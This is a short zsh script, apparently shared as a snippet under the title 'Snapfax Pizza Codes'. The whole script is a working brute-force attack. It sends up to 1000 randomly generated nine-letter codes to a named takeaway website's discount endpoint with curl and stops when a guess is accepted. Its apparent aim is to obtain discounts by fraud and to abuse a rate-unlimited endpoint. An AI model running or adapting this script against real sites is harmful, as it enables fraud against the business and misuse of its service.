Snapfax Pizza Codes

pizza.sh

#!/bin/zsh

ERROR="Invalid discount code!"
for run in {1..1000}
do
    NEW_UUID=$(cat /dev/urandom | LC_ALL=C tr -cd "[:upper:]" | head -c 9)
    echo -e "Trying out ${NEW_UUID}"
    RESPONSE=$(curl -s "http://www.snapfaxtakeaways.co.uk/discount/usersnapcode" --data "promocode=${NEW_UUID}&code_type=2" --compressed)
    echo "$RESPONSE"
    if [[ "$RESPONSE" != "$ERROR" ]]
    then
        break
    fi
done